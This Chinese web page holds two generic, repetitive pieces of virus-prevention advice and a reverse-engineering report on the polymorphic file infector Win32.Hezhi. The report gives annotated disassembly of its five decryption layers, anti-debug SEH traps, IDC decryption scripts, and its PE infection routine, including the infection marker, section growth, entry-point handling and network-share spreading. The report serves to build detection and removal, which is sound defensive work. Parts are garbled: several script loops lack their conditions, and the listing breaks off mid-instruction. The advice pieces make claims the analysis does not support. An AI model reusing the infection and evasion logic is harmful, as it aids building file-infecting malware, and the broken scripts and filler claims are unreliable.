hezhi病毒分析报告病毒防范 -电脑资料(优选3篇)
hezhi病毒分析报告病毒防范 -电脑资料 篇一
随着科技的发展,电脑在我们日常生活中的应用越来越广泛,同时也面临着各种各样的风险,其中病毒是电脑安全领域最常见、最具威胁的一种。在众多病毒中,hezhi病毒是近年来出现的一种新型病毒,具有强大的传播能力和破坏性。为了更好地了解和应对这种病毒,我们进行了一次深入的分析,并给出了相应的病毒防范建议。
hezhi病毒是一种恶意软件,主要通过植入恶意代码来感染电脑系统。它可以通过多种途径传播,包括邮件附件、下载软件、插件等。一旦感染,hezhi病毒会在电脑中进行破坏性操作,比如删除重要文件、篡改系统设置等,严重影响用户的正常使用。
针对hezhi病毒的传播特点和破坏性,我们提出以下病毒防范建议:
1. 安装可靠的杀毒软件:及时安装并更新杀毒软件,确保杀毒软件的病毒库是最新的,可以有效检测和清除hezhi病毒。
2. 谨慎下载和打开附件:不轻易下载和打开来历不明的附件,特别是来自不可信的邮件和网站。hezhi病毒常常通过邮件附件传播,用户应提高警惕,避免误点击链接或下载附件。
3. 注意安全浏览网页:避免访问不安全的网站,不轻易点击不明链接,以免被hezhi病毒利用漏洞进行感染。
4. 及时更新系统和软件:定期检查系统和软件的更新,安装最新的安全补丁,可以修复已知的漏洞,增强系统的安全性。
5. 定期备份重要数据:及时备份重要数据,避免因hezhi病毒的感染导致数据的丢失或损坏。
6. 加强安全意识教育:提高用户的安全意识,教育用户避免点击不明链接、下载不明软件等,加强对病毒的防范和了解。
总之,hezhi病毒作为一种新型病毒,具有较强的传播能力和破坏性,对电脑安全构成了威胁。为了保障个人和企业的信息安全,我们需要加强对hezhi病毒的防范和了解,采取相应的防范措施来保护电脑系统的安全。
hezhi病毒分析报告病毒防范 -电脑资料 篇二
近年来,随着科技的发展,病毒威胁逐渐增加,hezhi病毒作为一种新型病毒,具有很强的传播能力和破坏性。为了更好地防范这种病毒,我们进行了一次详细的分析,并提出了相应的防范策略。
hezhi病毒主要通过网络传播,它可以通过邮件附件、下载软件、插件等方式感染电脑系统。一旦感染,hezhi病毒会对电脑进行破坏性操作,比如删除文件、篡改系统设置等,给用户带来很大的损失。
为了有效防范hezhi病毒,我们提出以下几点建议:
1. 加强网络安全意识:提高用户的安全意识,教育用户避免点击不明链接、下载不明软件等。只有用户具备一定的网络安全知识,才能更好地防范hezhi病毒的感染。
2. 定期更新杀毒软件:及时安装并更新杀毒软件,确保杀毒软件的病毒库是最新的,可以及时检测和清除hezhi病毒。
3. 注意安全浏览网页:避免访问不安全的网站,尤其是一些涉及下载或上传文件的网站。同时,不轻易点击不明链接,以免被hezhi病毒利用漏洞进行感染。
4. 加强密码管理:设置强密码,定期更换密码,并避免使用相同的密码。强密码可以有效防范病毒的破解和入侵。
5. 定期备份重要数据:定期备份重要数据,确保数据的安全性。一旦遭受hezhi病毒感染,可以通过备份数据来恢复系统和文件。
总之,hezhi病毒作为一种新型病毒,对电脑安全构成了威胁。为了更好地防范这种病毒,我们需要加强网络安全意识,定期更新杀毒软件,注意安全浏览网页,加强密码管理,并定期备份重要数据。只有从多个方面加强对病毒的防范,才能更好地保护电脑系统的安全。
hezhi病毒分析报告病毒防范 -电脑资料 篇三
作者:haiwei/CVC.GB
Hezhi病毒是去年分析一个病毒,下面是分析报告,由于xxx原因杀毒程序不能公布(其实分析报告应该写得比较清楚了,哈)
写杀变形病毒的程序, 首先是要解决怎么查这个病毒(把病毒的变形引擎分析透彻一点,它怎么变你就怎么查),然后才是杀(好像是废话:))
hezhi病毒分析报告
haiwei/CVC.GB
关键字:
变形\病毒\感染\AntiDebug
分析工具:
OD(动态)\IDA(静态)
分析目标:
1.样本MD5值:a7be1177766cec09d7e914ea7985c723
2.病毒名称:Win32.Hezhi
难度:中
病毒简介:
1.这是一个基于poly技术的病毒,病毒代码经过五层加密,且key为动态的.
2.感染在宿主程序的节空隙,如果没有足够的空隙,则增加最后一节的节大小.
3.加密原宿主代码.
4.病毒代码中有多处SEH陷井来反动态调试
病毒执行流程:
1.第一次解密
004087D3 0F 84 87 EF FF FFjznear ptr loc_40775F+1
.text:004087D9 50pusheax
.text:004087DA E8 00 00 00 00call$+5
.text:004087DF 58popeax
.text:004087E0 58popeax
.text:004087E1 BE 00 00 09 02movesi, 2090000h\\关键
.text:004087E6 50pusheax
.text:004087E7 13 C3adceax, ebx
.text:004087E9 1B C3sbbeax, ebx
.text:004087EB 58popeax
.text:004087EC B8 0C 03 00 00moveax, 30Ch
.text:004087F1 57pushedi
.text:004087F2 F7 D7notedi
.text:004087F4 0F 03 F8lsledi, eax
.text:004087F7 5Fpopedi
.text:004087F8 81 C0 3A 2E 00 00addeax, 2E3Ah
.text:004087FE 57pushedi
.text:004087FF F7 D7notedi
.text:00408801 0F 03 F8lsledi, eax
.text:00408804 5Fpopedi
.text:00408805 C1 C6 1Drolesi, 1Dh\\经过这条指令Esi为待解密代码的
\\起始地址
.text:00408808 51pushecx
.text:00408809 81 C1 19 39 D0 DBaddecx, 0DBD03919h
.text:0040880F 59popecx
.text:00408810
.text:00408810loc_408810:; CODE XREF: start+D0j
.text:00408810 81 34 30 DA 0C 03 D2xordword ptr [eax+esi], 0D2030CDAh \\Key
.text:00408817 F5cmc
.text:00408818 F5cmc
.text:00408819 90nop
.text:0040881A 90nop
.text:0040881B 48deceax
.text:0040881C 50pusheax
.text:0040881D E8 00 00 00 00call$+5
.text:00408822 58popeax
.text:00408823 58popeax
.text:00408824 7D EAjgeshort loc_408810\\循环
.text:00408826 57pushedi
.text:00408827 F7 D7notedi
.text:00408829 0F 03 F8lsledi, eax
.text:0040882C 5Fpopedi
.text:0040882D FF E6jmpesi\\跳到已解密代码执行
下面为小弟写的IDC解密脚本:
auto RegEsi;
auto Key;
auto RegEax;
RegEsi=0x412000;
Key=0xd2030cda;
RegEax=0x3146;
for (;RegEax>=0;RegEax--)
{
Data=Dword(RegEax+RegEsi)^Key;
PatchDword(RegEax+RegEsi,Data);
}
在OD里可以把代码直接拉到JMP XX处 F4(XX可变),在这个例子样本中为JMP Esi
2.第二次解密
JMP Esi来到412000,该处代码如下
0041200250PUSH EAX
00412003E8 00000000CALL CLSPACK1.00412008
0041200858POP EAX
0041200983C0 1AADD EAX,1A
0041200C50PUSH EAX; CLSPACK1.00412022
0041200D64:67:FF36 0000 PUSH DWORD PTR FS:[0]\\这里很明显是一个SEH陷井
0041201364:67:8926 0000 MOV DWORD PTR FS:[0],ESP
00412019B8 FFFFFFFFMOV EAX,-1
0041201EFFE0JMP EAX\\故意产生异常
00412020FFE0JMP EAX
0041202264:67:A1 0000MOV EAX,DWORD PTR FS:[0]\\在这个位置F2下断点,F9,出现异常
\\出现异常后按shift+F9到412022断点处停下
004120278B20MOV ESP,DWORD PTR DS:[EAX]
0041202964:67:8F06 0000 POP DWORD PTR FS:[0]
0041202F58POP EAX\\这几条指令在恢复SEH
0041203058POP EAX
0041203160PUSHAD
00412032E8 00000000CALL CLSPACK1.00412037
0041203758POP EAX
00412038BE 82104000MOV ESI,CLSPACK1.00401082
0041203DBB 37104000MOV EBX,CLSPACK1.00401037
004120422BF3SUB ESI,EBX
0041204403F0ADD ESI,EAX\\Esi为解密起始地址
00412046BB C4300000MOV EBX,30C4\\解密长度
0041204B81341E 30C87B80 XOR DWORD PTR DS:[ESI+EBX],807BC830 \\Key
004120529CPUSHFD
省略若干垃圾指令
0041207D9DPOPFD
0041207E4BDEC EBX
0041207F ^7D CAJGE SHORT CLSPACK1.0041204B\\循环
0041208161POPAD\\在OD中把光标停在这F4
下面是第二次解密IDC脚本:
auto RegEsi;
auto Key;
auto RegEax;
auto Data;
RegEsi=0x412082;
Key=0x807bc830;
RegEax=0x30c4;
for (;RegEax>=0;RegEax--)
{
Data=Dword(RegEax+RegEsi)^Key;
PatchDword(RegEax+RegEsi,Data);
}
3.第三次解密
00412089BE CC104000MOV ESI,<&KERNEL32.RtlUnwind>
0041208EBB 88104000MOV EBX,<&KERNEL32.ExitProcess>
004120932BF3SUB ESI,EBX
0041209503F0ADD ESI,EAX\\解密起始地址
00412097B9 1F0C0000MOV ECX,0C1F\\长度
0041209C8B06MOV EAX,DWORD PTR DS:[ESI]
0041209EF7D0NOT EAX\\解密
004120A08906MOV DWORD PTR DS:[ESI],EAX
004120A283C6 04ADD ESI,4
省略若干垃圾代码
004120C9 ^E2 D1LOOPD SHORT CLSPACK1.0041209C
004120CB61POPAD\\光标停在这,F4
下面是第三次解密的IDC脚本:
auto RegEsi;
auto RegEax;
auto i;
auto Data;
RegEsi=0x4120cc;
RegEax=0xc1f;
for (i=0;i { Data=~Dword(i+RegEsi); PatchDword(i+RegEsi,Data); } 4.第四解密 004120D864:67:FF36 0000 PUSH DWORD PTR FS:[0] 004120DE64:67:8926 0000 MOV DWORD PTR FS:[0],ESP \\又是一个SEH陷井 004120E4B0 88MOV AL,88 004120E602C0ADD AL,AL 004120E8CEINTO\\产生异常 004120E9FFE0JMP EAX 004120EB64:67:A1 0000MOV EAX,DWORD PTR FS:[0] 004120F08B20MOV ESP,DWORD PTR DS:[EAX] 004120F264:67:8F06 0000 POP DWORD PTR FS:[0] 004120F858POP EAX 004120F958POP EAX 004120FAE8 00000000CALL CLSPACK1.004120FF 004120FF58POP EAX 00412100BE 1F114000MOV ESI,CLSPACK1.0040111F 00412105BB FF104000MOV EBX,CLSPACK1.004010FF 0041210A2BF3SUB ESI,EBX 0041210C03F0ADD ESI,EAX\\解密起始地址 0041210EB9 0A0C0000MOV ECX,0C0A\\长度 004121138106 B2C430E1ADD DWORD PTR DS:[ESI],E130C4B2\\Key 0041211983C6 04ADD ESI,4 0041211C ^E2 F5LOOPD SHORT CLSPACK1.00412113 0041211E61POPAD\\这里F2下断点,F9,Shift+F9 停在这 下面是第四次解密的IDC脚本: auto RegEsi; auto Key; auto RegEax; auto i; auto Data; RegEsi=0x41211f; Key=0xe130c4b2; RegEax=0xc0a; for (i=0;i { Data=Dword(i+RegEsi)+Key; PatchDword(i+RegEsi,Data); } 5.第五次解密 0041212658POP EAX 0041212783C0 1BADD EAX,1B 0041212A50PUSH EAX 0041212B64:67:FF36 0000 PUSH DWORD PTR FS:[0]\\SEH陷井 0041213164:67:8926 0000 MOV DWORD PTR FS:[0],ESP 00412137B8 FFFFFFFFMOV EAX,-1 0041213CC600 CCMOV BYTE PTR DS:[EAX],0CC \\产生异常 0041213FFFE0JMP EAX 0041214164:67:A1 0000MOV EAX,DWORD PTR FS:[0] 004121468B20MOV ESP,DWORD PTR DS:[EAX] 0041214864:67:8F06 0000 POP DWORD PTR FS:[0]\\恢复SEH 0041214E58POP EAX 0041214F58POP EAX 00412150E8 00000000CALL CLSPACK1.00412155 0041215558POP EAX 00412156BE 76114000MOV ESI,CLSPACK1.00401176 0041215BBB 55114000MOV EBX,CLSPACK1.00401155 004121602BF3SUB ESI,EBX 0041216203F0ADD ESI,EAX\\解密起始地址 00412164B9 F50B0000MOV ECX,0BF5\\长度 004121698B06MOV EAX,DWORD PTR DS:[ESI]\\ 0041216BC1C0 10ROL EAX,10\\解密 0041216E8906MOV DWORD PTR DS:[ESI],EAX 0041217083C6 04ADD ESI,4 00412173 ^E2 F4LOOPD SHORT CLSPACK1.00412169 0041217561POPAD\\这里F2下断点,F9,Shift+F9 停在这 下面是第五次解密的IDC脚本: auto RegEsi; auto RegEax; auto i; auto Data,Temp1,Temp2; RegEsi=0x412176; RegEax=0xbf5; for (i=0;i { Temp1=Dword(i+RegEsi); Temp1=Temp1<<0x10; Temp1=Temp1&0xffff0000; Temp2=Dword(i+RegEsi); Temp2=Temp2>>0x10; Temp2=Temp2&0xffff; Data=Temp1|Temp2; PatchDword(i+RegEsi,Data); } 6.在当前进程堆中分配8000H字节空间,并把病毒代码复制过去,并跳到堆中执行 004122B450PUSH EAX 004122B552PUSH EDX 004122B668 00800000PUSH 8000 004122BB6A 09PUSH 9 004122BD53PUSH EBX 004122BEFFD1CALL ECX\\RtlAllocateHeap \\在进程堆中分配8000H字节空间 004122C08BC8MOV ECX,EAX 004122C20BC0OR EAX,EAX 004122C45APOP EDX 004122C558POP EAX 004122C60F84 EA2D0000JE CLSPACK1.004150B6 004122CC50PUSH EAX 004122CD51PUSH ECX 004122CE51PUSH ECX 004122CF6A 09PUSH 9 004122D153PUSH EBX 004122D2FFD2CALL EDX 004122D43D 00800000CMP EAX,8000 004122D90F85 D72D0000JNZ CLSPACK1.004150B6 004122DF59POP ECX 004122E058POP EAX 004122E157PUSH EDI 004122E250PUSH EAX 004122E38BF9MOV EDI,ECX 004122E557PUSH EDI 004122E6B8 FC124000MOV EAX,CLSPACK1.004012FC; ASCII "runtime error " 004122EB2D 00104000SUB EAX,<&ADVAPI32.RegSetValueExA> 004122F003C7ADD EAX,EDI 004122F2B9 4A310000MOV ECX,314A\\需复制代码的长度 004122F7FCCLD 004122F8F3:A4REP MOVS BYTE PTR ES:[EDI],BYTE PTR DS:[ESI] \\复制 004122FAFFE0JMP EAX\\跳到堆中执行 7.判断当前系统中是否有一个名为"DELPHI"的事件,如果存在则转12 否则转8 则解密原宿主程序代码. 001364D068 04010000PUSH 104 001364D58D87 54270000LEA EAX,DWORD PTR DS:[EDI+2754] 001364DB50PUSH EAX 001364DC6A 00PUSH 0 001364DEFF97 912A0000CALL DWORD PTR DS:[EDI+2A91] 001364E48D87 D8290000LEA EAX,DWORD PTR DS:[EDI+29D8] 001364EA50PUSH EAX 001364EB6A 01PUSH 1 001364ED68 03001F00PUSH 1F0003 001364F2FF97 952A0000CALL DWORD PTR DS:[EDI+2A95]\\OpenEvent 001364F88987 5C290000MOV DWORD PTR DS:[EDI+295C],EAX 001364FE83F8 00CMP EAX,0 0013650174 0CJE SHORT 0013650F\\如果当前没有DELPHI事件则跳 \\这个跳转非常关键 \\它决定是走病毒流程还是原宿主程序的流程 0013650350PUSH EAX 00136504FF97 792A0000CALL DWORD PTR DS:[EDI+2A79] 0013650AE9 AF2B0000JMP 001390BE 0013650F8D87 D8290000LEA EAX,DWORD PTR DS:[EDI+29D8] 0013651550PUSH EAX 001365166A 01PUSH 1 001365186A 00PUSH 0 0013651A6A 00PUSH 0 0013651CFF97 992A0000CALL DWORD PTR DS:[EDI+2A99]\\CreateEvent 创建一个名为"DELPHI"的事件 001365228987 5C290000MOV DWORD PTR DS:[EDI+295C],EAX 0013652857PUSH EDI 001365298D87 70290000LEA EAX,DWORD PTR DS:[EDI+2970] 0013652F50PUSH EAX 00136530FF97 ED2A0000CALL DWORD PTR DS:[EDI+2AED] 001365365FPOP EDI 001365378D87 60290000LEA EAX,DWORD PTR DS:[EDI+2960] 0013653D50PUSH EAX 0013653E8D87 70290000LEA EAX,DWORD PTR DS:[EDI+2970] 0013654450PUSH EAX 001365456A 00PUSH 0 001365476A 00PUSH 0 001365496A 20PUSH 20 0013654B6A 00PUSH 0 0013654D6A 00PUSH 0 0013654F6A 00PUSH 0 00136551FF97 CD2A0000CALL DWORD PTR DS:[EDI+2ACD]\\\\GetCommandLine 0013655750PUSH EAX 001365588D87 54270000LEA EAX,DWORD PTR DS:[EDI+2754] 0013655E50PUSH EAX 0013655FFF97 852A0000CALL DWORD PTR DS:[EDI+2A85]\\CreateProcess 自身全路径名 00136565E8 00000000CALL 0013656A 0013656A58POP EAX 0013656B60PUSHAD 0013656C8D88 32000000LEA ECX,DWORD PTR DS:[EAX+32] \\这是一个变相的SEH安装 0013657251PUSH ECX 0013657366:8CDAMOV DX,DS 001365760FA0PUSH FS 001365781FPOP DS 00136579BB 00000000MOV EBX,0 0013657EFF33PUSH DWORD PTR DS:[EBX] 001365808BECMOV EBP,ESP 00136582892BMOV DWORD PTR DS:[EBX],EBP 0013658466:8EDAMOV DS,DX 0013658757PUSH EDI 00136588FF97 E52A0000CALL DWORD PTR DS:[EDI+2AE5] 0013658E5FPOP EDI 0013658F57PUSH EDI 001365906A 01PUSH 1 0013659250PUSH EAX 00136593FF97 E92A0000CALL DWORD PTR DS:[EDI+2AE9]\\这里会产生异常 001365995FPOP EDI 0013659AEB 0FJMP SHORT 001365AB 0013659C33DBXOR EBX,EBX\\这里F2下断点,F9,shift+F9 0013659E66:8CDAMOV DX,DS 001365A10FA0PUSH FS 001365A31FPOP DS 001365A48B03MOV EAX,DWORD PTR DS:[EBX] 001365A666:8EDAMOV DS,DX 001365A98B20MOV ESP,DWORD PTR DS:[EAX] 001365AB33DBXOR EBX,EBX 001365AD66:8CDAMOV DX,DS 8.枚举局域网共享资源,并感染之 9.查找C-Z的固定磁盘, a.其中包含:RUNDLL32\RUNONCE\RAV\LSASS\SERVICES\WINLOGON\SPOOLSV MSTASK\RPCSS\AVCONSOL字符串的文件不感染. b.小于8K的文件不感染. c.系统目录下的文件不感染. 10当找到一个EXE文件时,首先判断是否是合法的PE文件,然生判断是否是已经感染文件 (以PE文件结构中的TimeDateStamp+1处的两个字节是否等于C354H来判断),如果 等于则继续下一个文件.否则转11 11.具体的感染过程如下:(由于是在最后一次解密后DUMP出来的,所以地址跟OD中的不一样 但指令和代码功能是一样的) 另:加密病毒代码和原宿主程序代码的Key由原宿主程序TimeDateStamp算得 00412A6066:837E 5C 02CMP WORD PTR DS:[ESI+5C],2\\WINDOWS系统 00412A650F85 7F040000JNZ CLSPACK.00412EEA 00412A6B8B46 08MOV EAX,DWORD PTR DS:[ESI+8]\\TimeDateStamp 00412A6E83F8 00CMP EAX,0 00412A7175 21JNZ SHORT CLSPACK.00412A94\\在TimeDataStamp不为0的情况下用它用密钥,否则用E4C3542D为密钥 00412A73B8 2D54C3E4MOV EAX,E4C3542D\\密钥呀E4C3542D 00412A78C787 7F100000 CA>MOV DWORD PTR DS:[EDI+107F],2ACA 00412A82C787 85100000 7C>MOV DWORD PTR DS:[EDI+1085],67C 00412A8C8946 08MOV DWORD PTR DS:[ESI+8],EAX 00412A8FE9 C3000000JMP CLSPACK.00412B57 00412A948987 AA300000MOV DWORD PTR DS:[EDI+30AA],EAX\\下面这段关键呀 00412A9A50PUSH EAX 00412A9B53PUSH EBX 00412A9C35 DF6A45D3XOR EAX,D3456ADF\\D3456ADF 00412AA18987 4A100000MOV DWORD PTR DS:[EDI+104A],EAX 00412AA7BB FFFAFFFFMOV EBX,-501 00412AAC2BD8SUB EBX,EAX 00412AAE899F 50100000MOV DWORD PTR DS:[EDI+1050],EBX 00412AB45BPOP EBX 00412AB558POP EAX 00412AB653PUSH EBX 00412AB751PUSH ECX 00412AB8E8 FB060000CALL CLSPACK.004131B8\\\(TimeDateStamp*0x7FFFFFFF+1)%-5=EAX 其中TimeDataStamp为EAX 00412ABD8BD8MOV EBX,EAX 00412ABFC1EB 08SHR EBX,8 00412AC250PUSH EAX 00412AC353PUSH EBX 00412AC451PUSH ECX 00412AC552PUSH EDX 00412AC68BC3MOV EAX,EBX 00412AC88BCBMOV ECX,EBX 00412ACA25 FF000000AND EAX,0FF 00412ACF50PUSH EAX\\这段代码应该是变形引擎的随机数选择段 00412AD0C1E8 04SHR EAX,4 00412AD324 07AND AL,7 00412AD53C 05CMP AL,5 00412AD776 02JBE SHORT CLSPACK.00412ADB 00412AD92C 02SUB AL,2 00412ADB8AD8MOV BL,AL 00412ADD58POP EAX 00412ADE24 07AND AL,7 00412AE03C 05CMP AL,5 00412AE276 02JBE SHORT CLSPACK.00412AE6 00412AE42C 04SUB AL,4 00412AE638D8CMP AL,BL 00412AE875 34JNZ SHORT CLSPACK.00412B1E 00412AEA8BD9MOV EBX,ECX 00412AECC1EB 08SHR EBX,8 00412AEF8BC3MOV EAX,EBX 00412AF125 FF000000AND EAX,0FF 00412AF650PUSH EAX 00412AF7C1E8 04SHR EAX,4 00412AFA24 07AND AL,7 00412AFC3C 05CMP AL,5 00412AFE76 02JBE SHORT CLSPACK.00412B02 00412B002C 02SUB AL,2 00412B028AD8MOV BL,AL 00412B0458POP EAX 00412B0524 07AND AL,7 00412B073C 05CMP AL,5 00412B0976 02JBE SHORT CLSPACK.00412B0D 00412B0B2C 04SUB AL,4 00412B0D38D8CMP AL,BL 00412B0F75 0DJNZ SHORT CLSPACK.00412B1E 00412B113C 05CMP AL,5 00412B1374 04JE SHORT CLSPACK.00412B19 00412B15FEC3INC BL 00412B17EB 05JMP SHORT CLSPACK.00412B1E 00412B1980E2 03AND DL,3 00412B1C8ADAMOV BL,DL 00412B1E83E0 07AND EAX,7 00412B2183E3 07AND EBX,7 00412B2483E1 07AND ECX,7 00412B27E8 6C050000CALL CLSPACK.00413098\\这个CALL根椐上面产生的随机数产生随机代码,(里面包含一张表) 00412B2C5APOP EDX 00412B2D59POP ECX 00412B2E5BPOP EBX 00412B2F58POP EAX 00412B3081E3 FF0F0000AND EBX,0FFF 00412B36899F 7F100000MOV DWORD PTR DS:[EDI+107F],EBX 00412B3CB9 46310000MOV ECX,3146 00412B412BCBSUB ECX,EBX 00412B43898F 85100000MOV DWORD PTR DS:[EDI+1085],ECX 00412B4959POP ECX 00412B4A5BPOP EBX 00412B4B8987 8F100000MOV DWORD PTR DS:[EDI+108F],EAX 00412B5166:C746 09 54C3 MOV WORD PTR DS:[ESI+9],0C354\\写入感染标志,这个位置为PE文件的TimeDateStamp处 00412B578B46 28MOV EAX,DWORD PTR DS:[ESI+28]\\原AddressOfEntryPoint 00412B5A8987 5F060000MOV DWORD PTR DS:[EDI+65F],EAX\\呵呵,在解密后的病毒+65F处可以看见 可爱的入口地址 00412B608B46 38MOV EAX,DWORD PTR DS:[ESI+38]\\SectionAlignment 00412B638987 942E0000MOV DWORD PTR DS:[EDI+2E94],EAX 00412B698B46 34MOV EAX,DWORD PTR DS:[ESI+34]\\ImageBase 00412B6C8987 B2300000MOV DWORD PTR DS:[EDI+30B2],EAX 00412B728D5E 18LEA EBX,DWORD PTR DS:[ESI+18]\\Magic 00412B7533D2XOR EDX,EDX 00412B7766:8B56 14MOV DX,WORD PTR DS:[ESI+14]\\SizeOfOptionHeader 00412B7B03DAADD EBX,EDX\\EBX->第一个节表 00412B7D33C9XOR ECX,ECX 00412B7F66:8B4E 06MOV CX,WORD PTR DS:[ESI+6]\\NumberOfSections 00412B838B46 28MOV EAX,DWORD PTR DS:[ESI+28]\\AddressofEntryPoint 00412B868B53 0CMOV EDX,DWORD PTR DS:[EBX+C]\\VirtualAddress 00412B893BC2CMP EAX,EDX 00412B8B72 07JB SHORT CLSPACK.00412B94\\如果AddressOfEntryPoint 00412B8D0353 08ADD EDX,DWORD PTR DS:[EBX+8]\\VirtualSize 00412B903BC2CMP EAX,EDX 00412B9276 18JBE SHORT CLSPACK.00412BAC\\如果入口点在当前节中则跳 00412B9483C3 28ADD EBX,28 00412B97 ^E2 EALOOPD SHORT CLSPACK.00412B83 00412B9980BF A02E0000 01 CMP BYTE PTR DS:[EDI+2EA0],1 00412BA074 05JE SHORT CLSPACK.00412BA7 00412BA2E9 43030000JMP CLSPACK.00412EEA 00412BA7E9 F5190000JMP CLSPACK.004145A1 00412BAC50PUSH EAX 00412BAD52PUSH EDX 00412BAE05 00020000ADD EAX,200 00412BB38B53 0CMOV EDX,DWORD PTR DS:[EBX+C]\\VirtualAddress 00412BB60353 10ADD EDX,DWORD PTR DS:[EBX+10]\\SizeOfRawData 00412BB93BC2CMP EAX,EDX 00412BBB5APOP EDX 00412BBC58POP EAX 00412BBD77 24JA SHORT CLSPACK.00412BE3 00412BBF50PUSH EAX 00412BC00346 34ADD EAX,DWORD PTR DS:[ESI+34]\\ImageBase 00412BC38987 18060000MOV DWORD PTR DS:[EDI+618],EAX \\ImageBase+AddressOfEntryPoint 00412BC98B43 24MOV EAX,DWORD PTR DS:[EBX+24]\\Characteristics 00412BCC0D 00000020OR EAX,20000000\\IMAGE_SCN_MEM_EXECUTE 00412BD18943 24MOV DWORD PTR DS:[EBX+24],EAX\\写回 00412BD458POP EAX\\AddressOfEntryPoint 00412BD52B43 0CSUB EAX,DWORD PTR DS:[EBX+C]\\EAX-VirtualAddress 00412BD80343 14ADD EAX,DWORD PTR DS:[EBX+14]\\PointerToRawData 00412BDB8987 A22E0000MOV DWORD PTR DS:[EDI+2EA2],EAX\\EAX->FileOffset 00412BE1EB 2FJMP SHORT CLSPACK.00412C12 00412BE350PUSH EAX 00412BE452PUSH EDX 00412BE58B53 0CMOV EDX,DWORD PTR DS:[EBX+C] 00412BE88956 28MOV DWORD PTR DS:[ESI+28],EDX 00412BEB0356 34ADD EDX,DWORD PTR DS:[ESI+34] 00412BEE8997 18060000MOV DWORD PTR DS:[EDI+618],EDX 00412BF48B43 24MOV EAX,DWORD PTR DS:[EBX+24] 00412BF70D 00000020OR EAX,20000000 00412BFC8943 24MOV DWORD PTR DS:[EBX+24],EAX 00412BFF5APOP EDX 00412C0058POP EAX 00412C018B43 14MOV EAX,DWORD PTR DS:[EBX+14] 00412C048987 A22E0000MOV DWORD PTR DS:[EDI+2EA2],EAX 00412C0A8987 8C2E0000MOV DWORD PTR DS:[EDI+2E8C],EAX 00412C10EB 79JMP SHORT CLSPACK.00412C8B 00412C128D5E 18LEA EBX,DWORD PTR DS:[ESI+18]\\ESI->'PE' 00412C1533D2XOR EDX,EDX 00412C1766:8B56 14MOV DX,WORD PTR DS:[ESI+14] 00412C1B03DAADD EBX,EDX\\EBX->.text 00412C1D33C9XOR ECX,ECX 00412C1F66:8B4E 06MOV CX,WORD PTR DS:[ESI+6]\\NumberOfSections 00412C238B43 10MOV EAX,DWORD PTR DS:[EBX+10]\\SizeOfRawData 00412C262B43 08SUB EAX,DWORD PTR DS:[EBX+8]\\VirtualSize 00412C293B87 AE300000CMP EAX,DWORD PTR DS:[EDI+30AE]\\CMP EAX,200 00412C2F7D 37JGE SHORT CLSPACK.00412C68 00412C318B46 28MOV EAX,DWORD PTR DS:[ESI+28] 00412C348B53 0CMOV EDX,DWORD PTR DS:[EBX+C] 00412C373BC2CMP EAX,EDX 00412C3972 07JB SHORT CLSPACK.00412C42 00412C3B0353 08ADD EDX,DWORD PTR DS:[EBX+8] 00412C3E3BC2CMP EAX,EDX 00412C4076 18JBE SHORT CLSPACK.00412C5A 00412C4283C3 28ADD EBX,28 00412C45 ^E2 DCLOOPD SHORT CLSPACK.00412C23 00412C4780BF A02E0000 01 CMP BYTE PTR DS:[EDI+2EA0],1 00412C4E74 05JE SHORT CLSPACK.00412C55 00412C50E9 95020000JMP CLSPACK.00412EEA 00412C55E9 47190000JMP CLSPACK.004145A1 00412C5A2B43 0CSUB EAX,DWORD PTR DS:[EBX+C] 00412C5D0343 14ADD EAX,DWORD PTR DS:[EBX+14] 00412C608987 8C2E0000MOV DWORD PTR DS:[EDI+2E8C],EAX//EPOFileOffset 00412C66EB 23JMP SHORT CLSPACK.00412C8B 00412C688B43 14MOV EAX,DWORD PTR DS:[EBX+14] 00412C6B0343 08ADD EAX,DWORD PTR DS:[EBX+8] 00412C6E8987 8C2E0000MOV DWORD PTR DS:[EDI+2E8C],EAX 00412C748B43 0CMOV EAX,DWORD PTR DS:[EBX+C] 00412C770343 08ADD EAX,DWORD PTR DS:[EBX+8] 00412C7A8946 28MOV DWORD PTR DS:[ESI+28],EAX 00412C7D50PUSH EAX 00412C7E8B43 08MOV EAX,DWORD PTR DS:[EBX+8] 00412C810387 AE300000ADD EAX,DWORD PTR DS:[EDI+30AE] 00412C878943 08MOV DWORD PTR DS:[EBX+8],EAX 00412C8A58POP EAX 00412C8B83C3 28ADD EBX,28 00412C8E ^E2 FBLOOPD SHORT CLSPACK.00412C8B\\定位到最后一个节上 00412C9083EB 28SUB EBX,28 00412C93C743 24 400000C0 MOV DWORD PTR DS:[EBX+24],C0000040 \\改节属性 00412C9A8B43 10MOV EAX,DWORD PTR DS:[EBX+10]\\SizeOfRawData 00412C9D50PUSH EAX 00412C9E0343 0CADD EAX,DWORD PTR DS:[EBX+C]\\VirtualAddress 00412CA10346 34ADD EAX,DWORD PTR DS:[ESI+34]\\Image 00412CA451PUSH ECX 00412CA58A4E 08MOV CL,BYTE PTR DS:[ESI+8]\\TimeDateStamp 00412CA880E1 1FAND CL,1F 00412CAB888F 8B100000MOV BYTE PTR DS:[EDI+108B],CL 00412CB1D3C8ROR EAX,CL 00412CB359POP ECX 00412CB48987 7A100000MOV DWORD PTR DS:[EDI+107A],EAX\\020CA000H 00412CBAB9 00320000MOV ECX,3200 00412CBF014B 10ADD DWORD PTR DS:[EBX+10],ECX\\把最后一节大小加3200H 00412CC2014E 20ADD DWORD PTR DS:[ESI+20],ECX\\SizeOfinitializeData+3200H 00412CC58B43 10MOV EAX,DWORD PTR DS:[EBX+10] 00412CC83B43 08CMP EAX,DWORD PTR DS:[EBX+8] 00412CCB76 03JBE SHORT CLSPACK.00412CD0 00412CCD8943 08MOV DWORD PTR DS:[EBX+8],EAX 00412CD005 FF0F0000ADD EAX,0FFF 00412CD525 00F0FFFFAND EAX,FFFFF000 00412CDA0343 0CADD EAX,DWORD PTR DS:[EBX+C] 00412CDD8946 50MOV DWORD PTR DS:[ESI+50],EAX\\SizeOfImage 00412CE052PUSH EDX 00412CE18B53 08MOV EDX,DWORD PTR DS:[EBX+8] 00412CE40353 0CADD EDX,DWORD PTR DS:[EBX+C] 00412CE73BC2CMP EAX,EDX 00412CE973 03JNB SHORT CLSPACK.00412CEE 00412CEB8956 50MOV DWORD PTR DS:[ESI+50],EDX 00412CEE5APOP EDX 00412CEF5APOP EDX 00412CF00353 14ADD EDX,DWORD PTR DS:[EBX+14] 00412CF38B9F 882E0000MOV EBX,DWORD PTR DS:[EDI+2E88]\\hFile 00412CF980BF A02E0000 01 CMP BYTE PTR DS:[EDI+2EA0],1 00412D0075 05JNZ SHORT CLSPACK.00412D07 00412D02E9 75170000JMP CLSPACK.0041447C 00412D0751PUSH ECX 00412D0852PUSH EDX 00412D096A 00PUSH 0 